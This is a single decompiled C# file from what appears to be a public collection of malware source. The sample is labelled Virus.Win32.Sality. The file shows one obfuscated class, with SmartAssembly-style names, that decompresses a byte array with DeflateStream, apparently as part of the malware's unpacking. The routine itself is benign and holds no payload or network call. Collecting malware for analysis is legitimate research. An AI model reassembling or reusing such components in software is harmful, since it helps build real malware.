MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0003.cs

80 lines
2.4 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0007;
using \u0008;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0007
{
internal sealed class \u0003 : \u0001
{
[MethodImpl(MethodImplOptions.NoInlining)]
public \u0003()
{
\u0003.\u0003();
// ISSUE: explicit constructor call
base.\u002Ector();
try
{
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex, (object) this);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
public override object \u0003([In] object[] obj0)
{
MemoryStream memoryStream1;
byte[] buffer;
MemoryStream memoryStream2;
DeflateStream deflateStream1;
int count;
try
{
memoryStream2 = new MemoryStream((byte[]) obj0[0]);
memoryStream1 = new MemoryStream();
buffer = new byte[1024];
deflateStream1 = new DeflateStream((Stream) memoryStream2, CompressionMode.Decompress, true);
try
{
while (true)
{
count = deflateStream1.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream1.Write(buffer, 0, count);
else
break;
}
}
finally
{
deflateStream1?.Dispose();
}
return (object) memoryStream1.ToArray();
}
catch (Exception ex)
{
MemoryStream memoryStream3 = memoryStream2;
MemoryStream memoryStream4 = memoryStream1;
byte[] numArray = buffer;
DeflateStream deflateStream2 = deflateStream1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) count;
object[] objArray = obj0;
throw UnhandledException.\u0003(ex, (object) memoryStream3, (object) memoryStream4, (object) numArray, (object) deflateStream2, (object) local, (object) this, (object) objArray);
}
}
}
}